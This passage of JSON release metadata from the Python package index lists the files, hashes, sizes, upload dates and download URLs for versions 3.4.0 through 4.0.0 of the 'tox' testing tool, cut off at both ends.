!=3.3.*","size":287178,"upload_time":"2018-09-20T08:21:37","upload_time_iso_8601":"2018-09-20T08:21:37.253311Z","url":"https://files.pythonhosted.org/packages/45/a6/c35e27a2c81b17b3af3043161671eaff3a0449937d534a6e1baaa3756bdb/tox-3.4.0.tar.gz","yanked":false,"yanked_reason":null}],"3.5.0":[{"comment_text":"","core-metadata":{"sha256":"cabc887fb0a5ba399341f19ca6a334abd5785fd6cedd76595c1dead028573798"},"digests":{"blake2b_256":"8728ec72da3df21d4fafe2473c49c20a318d05527630c6262e802423bae38ab3","md5":"cf737478cbfd6128e145d17792ba6b95","sha256":"efd90639b750c9c96798ff70298f28acfe61feac0f0d461514ad07814e330614"},"downloads":-1,"filename":"tox-3.5.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"cf737478cbfd6128e145d17792ba6b95","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":52334,"upload_time":"2018-10-08T09:03:39","upload_time_iso_8601":"2018-10-08T09:03:39.263282Z","url":"https://files.pythonhosted.org/packages/87/28/ec72da3df21d4fafe2473c49c20a318d05527630c6262e802423bae38ab3/tox-3.5.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"62740d8238105a0b564b129b0d4975cdb868776fc74c3657f1151bcb4775cc51","md5":"1b1e3a27108e54e2577b4ac810bbe08c","sha256":"5cd34741ff8ad7170c442d51b4ffe4c1ea721bca8e70bbbdc9e9d818b1e9a435"},"downloads":-1,"filename":"tox-3.5.0.tar.gz","has_sig":false,"md5_digest":"1b1e3a27108e54e2577b4ac810bbe08c","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":253813,"upload_time":"2018-10-08T09:03:41","upload_time_iso_8601":"2018-10-08T09:03:41.115160Z","url":"https://files.pythonhosted.org/packages/62/74/0d8238105a0b564b129b0d4975cdb868776fc74c3657f1151bcb4775cc51/tox-3.5.0.tar.gz","yanked":false,"yanked_reason":null}],"3.5.1":[{"comment_text":"","core-metadata":{"sha256":"58526ebcf4ce01d6abae6b55a27e83b3a282c5e65a40e81867940b4c266da3a1"},"digests":{"blake2b_256":"96267e466d1b00eff934a9f83cd33027725a9c8bb522307e03499e871d825ffc","md5":"f25f992a186cf37e0ea556665bd64053","sha256":"dc3ca9c56c544234e1cfc5ac0d40e6b91213a1a3cec78cccd48a41900a93e0e8"},"downloads":-1,"filename":"tox-3.5.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"f25f992a186cf37e0ea556665bd64053","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":52348,"upload_time":"2018-10-08T13:40:19","upload_time_iso_8601":"2018-10-08T13:40:19.101742Z","url":"https://files.pythonhosted.org/packages/96/26/7e466d1b00eff934a9f83cd33027725a9c8bb522307e03499e871d825ffc/tox-3.5.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"f678aeb680ddb7611758bed736ab6faf9c57fe667013e83558842add4343be72","md5":"f56e9ad8dee51804d8bca0db04142f36","sha256":"0cc11ff7a2c8d3f988bea9f760e14aae02957d4324cb09ef55b802d5cd4562c9"},"downloads":-1,"filename":"tox-3.5.1.tar.gz","has_sig":false,"md5_digest":"f56e9ad8dee51804d8bca0db04142f36","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":253829,"upload_time":"2018-10-08T13:40:20","upload_time_iso_8601":"2018-10-08T13:40:20.857843Z","url":"https://files.pythonhosted.org/packages/f6/78/aeb680ddb7611758bed736ab6faf9c57fe667013e83558842add4343be72/tox-3.5.1.tar.gz","yanked":false,"yanked_reason":null}],"3.5.2":[{"comment_text":"","core-metadata":{"sha256":"872764140d669fa0494634c64abf60d66f85e9bfe29ed0072a3ecda67c50dcf7"},"digests":{"blake2b_256":"8fc364bade66e6188a0dc02689392d5c782a9eb6648b54ddc2db034aa495b6a2","md5":"64def07f71b7bf2c4c32c99991d06699","sha256":"217fb84aecf9792a98f93f07cfcaf014205a76c64e52bd7c2b4135458e6ad2a1"},"downloads":-1,"filename":"tox-3.5.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"64def07f71b7bf2c4c32c99991d06699","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":52467,"upload_time":"2018-10-09T10:10:23","upload_time_iso_8601":"2018-10-09T10:10:23.895247Z","url":"https://files.pythonhosted.org/packages/8f/c3/64bade66e6188a0dc02689392d5c782a9eb6648b54ddc2db034aa495b6a2/tox-3.5.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"38ab3674069bb1dadcd23e2e76c133cfa806026e68c97510224b3726562a8c44","md5":"97432677bc4c37dbadd16188d6fceaba","sha256":"4baeb3d8ebdcd9f43afce38aa67d06f1165a87d221d5bb21e8b39a0d4880c134"},"downloads":-1,"filename":"tox-3.5.2.tar.gz","has_sig":false,"md5_digest":"97432677bc4c37dbadd16188d6fceaba","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":254193,"upload_time":"2018-10-09T10:10:25","upload_time_iso_8601":"2018-10-09T10:10:25.786598Z","url":"https://files.pythonhosted.org/packages/38/ab/3674069bb1dadcd23e2e76c133cfa806026e68c97510224b3726562a8c44/tox-3.5.2.tar.gz","yanked":false,"yanked_reason":null}],"3.5.3":[{"comment_text":"","core-metadata":{"sha256":"be0336c6a068d87d1d7a3d3dc581e26cdc0fe5e91b1b6829d1279dfbf380c062"},"digests":{"blake2b_256":"d0432160a300e0b77a929a980f36ac7427dcef8f4ddac7a8c21e5a8baedad828","md5":"8b9733096f91f0b00d782f04d2bf34eb","sha256":"75fa30e8329b41b664585f5fb837e23ce1d7e6fa1f7811f2be571c990f9d911b"},"downloads":-1,"filename":"tox-3.5.3-py2.py3-none-any.whl","has_sig":false,"md5_digest":"8b9733096f91f0b00d782f04d2bf34eb","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":53965,"upload_time":"2018-10-28T14:51:20","upload_time_iso_8601":"2018-10-28T14:51:20.979008Z","url":"https://files.pythonhosted.org/packages/d0/43/2160a300e0b77a929a980f36ac7427dcef8f4ddac7a8c21e5a8baedad828/tox-3.5.3-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"0164a1654cacb2f1dc291854b50df8570418135623c9c3445b0e1c78aeff8fee","md5":"4b294a291d393635ac1bd07e935a635c","sha256":"513e32fdf2f9e2d583c2f248f47ba9886428c949f068ac54a0469cac55df5862"},"downloads":-1,"filename":"tox-3.5.3.tar.gz","has_sig":false,"md5_digest":"4b294a291d393635ac1bd07e935a635c","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":256487,"upload_time":"2018-10-28T14:51:23","upload_time_iso_8601":"2018-10-28T14:51:23.025435Z","url":"https://files.pythonhosted.org/packages/01/64/a1654cacb2f1dc291854b50df8570418135623c9c3445b0e1c78aeff8fee/tox-3.5.3.tar.gz","yanked":false,"yanked_reason":null}],"3.6.0":[{"comment_text":"","core-metadata":{"sha256":"5ed1e955d89bb1968717fe6c78555c5a6b0780b5082bb082c10afe83da7b9691"},"digests":{"blake2b_256":"3051e5c4dda814ffc84204321c5074c767d11d6bdd7d1082a6dc63ed28f0eadf","md5":"347bf98283ab292a28c02032cfaae043","sha256":"21e772c4de94afd9240d1a4b2c009c94bea08d3230377ab23c3153efaea361f7"},"downloads":-1,"filename":"tox-3.6.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"347bf98283ab292a28c02032cfaae043","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":53991,"upload_time":"2018-12-13T15:42:41","upload_time_iso_8601":"2018-12-13T15:42:41.427439Z","url":"https://files.pythonhosted.org/packages/30/51/e5c4dda814ffc84204321c5074c767d11d6bdd7d1082a6dc63ed28f0eadf/tox-3.6.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1a4ae8e8b54a904aefdff5cf6a08117e543ff5ff0f49c84c14861bd2869c89d7","md5":"14860d9bec7b7a3d41d92e9d76b236f6","sha256":"304177defdcb403d84aeb0400b1625b1e65a7fff19f0441329f9f76ebf67882f"},"downloads":-1,"filename":"tox-3.6.0.tar.gz","has_sig":false,"md5_digest":"14860d9bec7b7a3d41d92e9d76b236f6","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":257255,"upload_time":"2018-12-13T15:42:43","upload_time_iso_8601":"2018-12-13T15:42:43.746833Z","url":"https://files.pythonhosted.org/packages/1a/4a/e8e8b54a904aefdff5cf6a08117e543ff5ff0f49c84c14861bd2869c89d7/tox-3.6.0.tar.gz","yanked":false,"yanked_reason":null}],"3.6.1":[{"comment_text":"","core-metadata":{"sha256":"8037622b76a46828a89ddb1d51881777fcbb22ce8fd139fa44e21a8373351cbe"},"digests":{"blake2b_256":"154dfbf70341d0c791f04b0e45ca65ce31aa67575ec39fe7e943fd536bbcd8a1","md5":"8e70b8768e9ef734a2c307ce693998d3","sha256":"edfca7809925f49bdc110d0a2d9966bbf35a0c25637216d9586e7a5c5de17bfb"},"downloads":-1,"filename":"tox-3.6.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"8e70b8768e9ef734a2c307ce693998d3","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":54016,"upload_time":"2018-12-24T14:07:43","upload_time_iso_8601":"2018-12-24T14:07:43.437824Z","url":"https://files.pythonhosted.org/packages/15/4d/fbf70341d0c791f04b0e45ca65ce31aa67575ec39fe7e943fd536bbcd8a1/tox-3.6.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"14c4ee073df7f649e2a1977781807c0bb1fcfc691a99ee7b4a7a3cc819841458","md5":"ca240af82cff0d8e7b8decc3f74abeb6","sha256":"2a8d8a63660563e41e64e3b5b677e81ce1ffa5e2a93c2c565d3768c287445800"},"downloads":-1,"filename":"tox-3.6.1.tar.gz","has_sig":false,"md5_digest":"ca240af82cff0d8e7b8decc3f74abeb6","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":257471,"upload_time":"2018-12-24T14:07:45","upload_time_iso_8601":"2018-12-24T14:07:45.760461Z","url":"https://files.pythonhosted.org/packages/14/c4/ee073df7f649e2a1977781807c0bb1fcfc691a99ee7b4a7a3cc819841458/tox-3.6.1.tar.gz","yanked":false,"yanked_reason":null}],"3.7.0":[{"comment_text":"","core-metadata":{"sha256":"796aa1bc6f0a29e2f3bf5b6031e48f574e27c3060b6334b52febc94ca2af41a8"},"digests":{"blake2b_256":"4abd50cd91221508db5bb66e211ac327d0da4a5db6d0db5ad35d6fbf1e4af5dc","md5":"4f014329bee9c214f3f8d939fbb0fb5b","sha256":"04f8f1aa05de8e76d7a266ccd14e0d665d429977cd42123bc38efa9b59964e9e"},"downloads":-1,"filename":"tox-3.7.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"4f014329bee9c214f3f8d939fbb0fb5b","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":60162,"upload_time":"2019-01-11T14:48:00","upload_time_iso_8601":"2019-01-11T14:48:00.697783Z","url":"https://files.pythonhosted.org/packages/4a/bd/50cd91221508db5bb66e211ac327d0da4a5db6d0db5ad35d6fbf1e4af5dc/tox-3.7.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d74282308785b76b374456218b4f1f9f69075d081cb5b4f287766d21a30565dc","md5":"a759c0bc964c2f3002d5a39212be6886","sha256":"25ef928babe88c71e3ed3af0c464d1160b01fca2dd1870a5bb26c2dea61a17fc"},"downloads":-1,"filename":"tox-3.7.0.tar.gz","has_sig":false,"md5_digest":"a759c0bc964c2f3002d5a39212be6886","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":267854,"upload_time":"2019-01-11T14:48:02","upload_time_iso_8601":"2019-01-11T14:48:02.952280Z","url":"https://files.pythonhosted.org/packages/d7/42/82308785b76b374456218b4f1f9f69075d081cb5b4f287766d21a30565dc/tox-3.7.0.tar.gz","yanked":false,"yanked_reason":null}],"3.8.0":[{"comment_text":"","core-metadata":{"sha256":"916a4512c92eec919ed3793a2ab8c87f087dbd1e06812f3140e7572e51fc3af8"},"digests":{"blake2b_256":"6a61a970b739721b3419fd5156c790e97e456f7061ab804aa3e422c7e11a3915","md5":"ab0c8e74e0e0d874b44f6d0eba2690f8","sha256":"17f7b60ba824741c5affd458948193a680b0dc57f362ec19208030056caa7b76"},"downloads":-1,"filename":"tox-3.8.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"ab0c8e74e0e0d874b44f6d0eba2690f8","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73233,"upload_time":"2019-03-27T18:50:17","upload_time_iso_8601":"2019-03-27T18:50:17.853835Z","url":"https://files.pythonhosted.org/packages/6a/61/a970b739721b3419fd5156c790e97e456f7061ab804aa3e422c7e11a3915/tox-3.8.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"fc957eb73a7013ecf058dd87867ad49b2901a1d619d5dc8ed5d53712a0c18636","md5":"85d99e739dd87200236381c4c17e69eb","sha256":"db6b674569911fa3f7272842fbb24de0fffa3e87470bc0f8cdd1e2c4db16be52"},"downloads":-1,"filename":"tox-3.8.0.tar.gz","has_sig":false,"md5_digest":"85d99e739dd87200236381c4c17e69eb","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":279423,"upload_time":"2019-03-27T18:50:19","upload_time_iso_8601":"2019-03-27T18:50:19.958778Z","url":"https://files.pythonhosted.org/packages/fc/95/7eb73a7013ecf058dd87867ad49b2901a1d619d5dc8ed5d53712a0c18636/tox-3.8.0.tar.gz","yanked":false,"yanked_reason":null}],"3.8.1":[{"comment_text":"","core-metadata":{"sha256":"bb496cbd446faf16931cc2ff315a413663e1b3afb9f0ebf01fafb347e4651b8b"},"digests":{"blake2b_256":"8a9f4a8ea04bb880b0e184a7eeae2585cccb667a8e9b1e532194a8f106dabdc5","md5":"88affd7e06731da2b54900154a4e67be","sha256":"1f00c26073d11805357c0f5a3423320cd277fdd317c28309fff1b3903be7d2e3"},"downloads":-1,"filename":"tox-3.8.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"88affd7e06731da2b54900154a4e67be","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73334,"upload_time":"2019-03-28T13:59:27","upload_time_iso_8601":"2019-03-28T13:59:27.630223Z","url":"https://files.pythonhosted.org/packages/8a/9f/4a8ea04bb880b0e184a7eeae2585cccb667a8e9b1e532194a8f106dabdc5/tox-3.8.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8885ed1d536ae5b9d83da5abcbb72b7719faed5d3d4ccc8a68fadf57df00aca4","md5":"0586eae56fdc7016e1f835270a83af84","sha256":"74716bfc7681a6787d3c8612c5c534f04e4112b34fad8949752359d8b9bed3b6"},"downloads":-1,"filename":"tox-3.8.1.tar.gz","has_sig":false,"md5_digest":"0586eae56fdc7016e1f835270a83af84","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":280452,"upload_time":"2019-03-28T14:00:45","upload_time_iso_8601":"2019-03-28T14:00:45.370919Z","url":"https://files.pythonhosted.org/packages/88/85/ed1d536ae5b9d83da5abcbb72b7719faed5d3d4ccc8a68fadf57df00aca4/tox-3.8.1.tar.gz","yanked":false,"yanked_reason":null}],"3.8.2":[{"comment_text":"","core-metadata":{"sha256":"ac1e22ab65a1df319fb62a365aea5195d497f3a9234944432dff8f6a59beff4b"},"digests":{"blake2b_256":"3f2e678968a2bee65d4e3f698e9757c89a528abbcc6d2be516c0eb3abb1c42a8","md5":"bb49c32c6ac48f330d782c3a627edd46","sha256":"bc74bbf1db500d998cfbd2cea940541ef66bc671556102f040b1cdf146472e28"},"downloads":-1,"filename":"tox-3.8.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"bb49c32c6ac48f330d782c3a627edd46","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73737,"upload_time":"2019-03-29T12:08:18","upload_time_iso_8601":"2019-03-29T12:08:18.724442Z","url":"https://files.pythonhosted.org/packages/3f/2e/678968a2bee65d4e3f698e9757c89a528abbcc6d2be516c0eb3abb1c42a8/tox-3.8.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"92cb9e09c0663fb3c982a503ad44ab0d263675b91705ec33a506248015d8a203","md5":"5f921363f8245081171db5a38f989447","sha256":"ec4c0a816b0e9d925165569d50d484c6815046c93aa044eb2affca5abcc596ae"},"downloads":-1,"filename":"tox-3.8.2.tar.gz","has_sig":false,"md5_digest":"5f921363f8245081171db5a38f989447","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":280427,"upload_time":"2019-03-29T12:08:21","upload_time_iso_8601":"2019-03-29T12:08:21.101550Z","url":"https://files.pythonhosted.org/packages/92/cb/9e09c0663fb3c982a503ad44ab0d263675b91705ec33a506248015d8a203/tox-3.8.2.tar.gz","yanked":false,"yanked_reason":null}],"3.8.3":[{"comment_text":"","core-metadata":{"sha256":"e2349961b40681d1c67e87086a5f9daa6eb4766707c6431f8e61e7e6d54da260"},"digests":{"blake2b_256":"42a0042cdebba21a22629d0a4692848477ce777b67dcc70f77d5f8719de7f61e","md5":"79997e0ec6b529b70a56146df9dcc581","sha256":"90ad4696d94fff5ff0e1e48e4f16bcc839bdfd80d2922717e9eff4313ddc278f"},"downloads":-1,"filename":"tox-3.8.3-py2.py3-none-any.whl","has_sig":false,"md5_digest":"79997e0ec6b529b70a56146df9dcc581","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73812,"upload_time":"2019-03-29T14:43:50","upload_time_iso_8601":"2019-03-29T14:43:50.005252Z","url":"https://files.pythonhosted.org/packages/42/a0/042cdebba21a22629d0a4692848477ce777b67dcc70f77d5f8719de7f61e/tox-3.8.3-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"803f9632346f7d8343f1628d89b15a519eafa890b96e372354bae9e5a97f5daf","md5":"65b2a7cd720ac3761d7aa1be5af8f67e","sha256":"90e4b0d094a8fb6b4af44b9f9181f776e1be8a8be547839d3c477960a3ef5487"},"downloads":-1,"filename":"tox-3.8.3.tar.gz","has_sig":false,"md5_digest":"65b2a7cd720ac3761d7aa1be5af8f67e","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":280735,"upload_time":"2019-03-29T14:43:52","upload_time_iso_8601":"2019-03-29T14:43:52.085441Z","url":"https://files.pythonhosted.org/packages/80/3f/9632346f7d8343f1628d89b15a519eafa890b96e372354bae9e5a97f5daf/tox-3.8.3.tar.gz","yanked":false,"yanked_reason":null}],"3.8.4":[{"comment_text":"","core-metadata":{"sha256":"108f04367947c2d731bd8bd656c863c7d15d04657aab1cd78c8548024a9c0ba2"},"digests":{"blake2b_256":"fe4eb3596b1e1027699813b33088424f7076b176354740e6a25490e9210a129b","md5":"a109300b3b1bde6d79330f6128d5413f","sha256":"57b0b5c90aadeae5110f4cd1c82fb3ac207f5c8f31b4201ae13b7fa5f754dbb4"},"downloads":-1,"filename":"tox-3.8.4-py2.py3-none-any.whl","has_sig":false,"md5_digest":"a109300b3b1bde6d79330f6128d5413f","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73820,"upload_time":"2019-04-01T15:15:04","upload_time_iso_8601":"2019-04-01T15:15:04.006064Z","url":"https://files.pythonhosted.org/packages/fe/4e/b3596b1e1027699813b33088424f7076b176354740e6a25490e9210a129b/tox-3.8.4-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7626d3fa75b437d5c4180b613fcb8db3fc5b323daa4d74371416f08c02bc736f","md5":"e8ca1ff39c218286ed6a7d1a4c631882","sha256":"365656eb2a61053c3715d801f2fcc833eb3721155e52285111c63836ec3f0efc"},"downloads":-1,"filename":"tox-3.8.4.tar.gz","has_sig":false,"md5_digest":"e8ca1ff39c218286ed6a7d1a4c631882","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":280995,"upload_time":"2019-04-01T15:15:06","upload_time_iso_8601":"2019-04-01T15:15:06.367927Z","url":"https://files.pythonhosted.org/packages/76/26/d3fa75b437d5c4180b613fcb8db3fc5b323daa4d74371416f08c02bc736f/tox-3.8.4.tar.gz","yanked":false,"yanked_reason":null}],"3.8.5":[{"comment_text":"","core-metadata":{"sha256":"d8125e5db63680dfe48c1f1b86fa86d003de965958d6ab713b477837fa07e8f6"},"digests":{"blake2b_256":"3a0df64b596f7dd58f00c6cdc1e270072d04539b82698c077f0ec74c85bc72c7","md5":"16b29e3b8336f14cecab867a5286bcb3","sha256":"ec7a20f8417897f9e2cee916288d10d21d2eb8b6045b84ebf0937b3c6166c180"},"downloads":-1,"filename":"tox-3.8.5-py2.py3-none-any.whl","has_sig":false,"md5_digest":"16b29e3b8336f14cecab867a5286bcb3","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73840,"upload_time":"2019-04-03T14:40:29","upload_time_iso_8601":"2019-04-03T14:40:29.550435Z","url":"https://files.pythonhosted.org/packages/3a/0d/f64b596f7dd58f00c6cdc1e270072d04539b82698c077f0ec74c85bc72c7/tox-3.8.5-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4d408de8c5d11827e39dbea97cbe9394ee1454ef65528461cb14830a94a82927","md5":"89333c8a71ed94ec0b0050e1bd2827cd","sha256":"ffa98042af372a22a02a1f2277647e883f81e517a0d2381a38fe00b3cfb2b820"},"downloads":-1,"filename":"tox-3.8.5.tar.gz","has_sig":false,"md5_digest":"89333c8a71ed94ec0b0050e1bd2827cd","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":281326,"upload_time":"2019-04-03T14:40:31","upload_time_iso_8601":"2019-04-03T14:40:31.662617Z","url":"https://files.pythonhosted.org/packages/4d/40/8de8c5d11827e39dbea97cbe9394ee1454ef65528461cb14830a94a82927/tox-3.8.5.tar.gz","yanked":false,"yanked_reason":null}],"3.8.6":[{"comment_text":"","core-metadata":{"sha256":"4cfda94c8706c99c597d278f0fcf4865bd81f78e49aa7282204a7d8047338fec"},"digests":{"blake2b_256":"d268d8a9466c8ecda020b36cd5f5d0c274403941a401fe613d868ecf5fc84dd5","md5":"adf66c81d44e926ae439774873171937","sha256":"e5cdb1653aa27b3e46b5c390de6b6d51d31afcfdbd9d1222d82d76b82ad03d9b"},"downloads":-1,"filename":"tox-3.8.6-py2.py3-none-any.whl","has_sig":false,"md5_digest":"adf66c81d44e926ae439774873171937","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73905,"upload_time":"2019-04-03T16:26:33","upload_time_iso_8601":"2019-04-03T16:26:33.249352Z","url":"https://files.pythonhosted.org/packages/d2/68/d8a9466c8ecda020b36cd5f5d0c274403941a401fe613d868ecf5fc84dd5/tox-3.8.6-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"cbbf009c30543c724b12e7dcb6d579c0f7dd422f533b99185f6a1fded19cd54c","md5":"b9b6076e117aa9d4ea5e55262246f9d2","sha256":"69620e19de33a6b7ee8aeda5478791b3618ff58f0b869dbd0319fb71aa903deb"},"downloads":-1,"filename":"tox-3.8.6.tar.gz","has_sig":false,"md5_digest":"b9b6076e117aa9d4ea5e55262246f9d2","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":281515,"upload_time":"2019-04-03T16:26:35","upload_time_iso_8601":"2019-04-03T16:26:35.338514Z","url":"https://files.pythonhosted.org/packages/cb/bf/009c30543c724b12e7dcb6d579c0f7dd422f533b99185f6a1fded19cd54c/tox-3.8.6.tar.gz","yanked":false,"yanked_reason":null}],"3.9.0":[{"comment_text":"","core-metadata":{"sha256":"bcfa99ce198ed9260d21343e826641448c498f12e0dc437fc334222477995f1b"},"digests":{"blake2b_256":"1394df88fb647f5f3d7c5afdb6c05bb56417c8bbbd0db0202f71448a040bba95","md5":"3e381145a76e2fa41b20628eb0114a56","sha256":"1b166b93d2ce66bb7b253ba944d2be89e0c9d432d49eeb9da2988b4902a4684e"},"downloads":-1,"filename":"tox-3.9.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"3e381145a76e2fa41b20628eb0114a56","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":73981,"upload_time":"2019-04-17T13:58:30","upload_time_iso_8601":"2019-04-17T13:58:30.881917Z","url":"https://files.pythonhosted.org/packages/13/94/df88fb647f5f3d7c5afdb6c05bb56417c8bbbd0db0202f71448a040bba95/tox-3.9.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"c84cf2c9d3d1eb94f8fab14bc3fa2e936d48a10ae8b43f5e5e7dffb1c5df984a","md5":"37e75823c6c7eddaa71b98f72d65f00c","sha256":"665cbdd99f5c196dd80d1d8db8c8cf5d48b1ae1f778bccd1bdf14d5aaf4ca0fc"},"downloads":-1,"filename":"tox-3.9.0.tar.gz","has_sig":false,"md5_digest":"37e75823c6c7eddaa71b98f72d65f00c","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":282134,"upload_time":"2019-04-17T13:58:33","upload_time_iso_8601":"2019-04-17T13:58:33.140165Z","url":"https://files.pythonhosted.org/packages/c8/4c/f2c9d3d1eb94f8fab14bc3fa2e936d48a10ae8b43f5e5e7dffb1c5df984a/tox-3.9.0.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0":[{"comment_text":"","core-metadata":{"sha256":"3a10b6d45b24b2114304c98ddb6460ae48591dd2a11d6f9d14aecdc8688a59b1"},"digests":{"blake2b_256":"76ee6323d1295eb1eb2c5d945b8c14ae03fdb0673d48d90aa9ce3afbab31ecb1","md5":"dffdc72706de0f56b3d79ac754087052","sha256":"e6adcebddfec5e456e5d2884f82b9468e38c4ec6439ec97f7f1fb85d5b1bf846"},"downloads":-1,"filename":"tox-4.0.0-py3-none-any.whl","has_sig":false,"md5_digest":"dffdc72706de0f56b3d79ac754087052","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":139908,"upload_time":"2022-12-07T17:11:25","upload_time_iso_8601":"2022-12-07T17:11:25.796739Z","url":"https://files.pythonhosted.org/packages/76/ee/6323d1295eb1eb2c5d945b8c14ae03fdb0673d48d90aa9ce3afbab31ecb1/tox-4.0.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9bf2f7b6eb732df2f26b5c66bec5fd9804f1a160b3c589521e2692d3160f9adb","md5":"ee091045a3e58957c2e1bd17016931fe","sha256":"17643b0e29c41f784c9c266a13302dc0604884b9ceff6686fbb31bada4a7aa3a"},"downloads":-1,"filename":"tox-4.0.0.tar.gz","has_sig":false,"md5_digest":"ee091045a3e58957c2e1bd17016931fe","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":150976,"upload_time":"2022-12-07T17:11:27","upload_time_iso_8601":"2022-12-07T17:11:27.621540Z","url":"https://files.pythonhosted.org/packages/9b/f2/f7b6eb732df2f26b5c66bec5fd9804f1a160b3c589521e2692d3160f9adb/tox-4.0.0.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a10":[{"comment_text":"","core-metadata":{"sha256":"3ff9f99dfd9a6f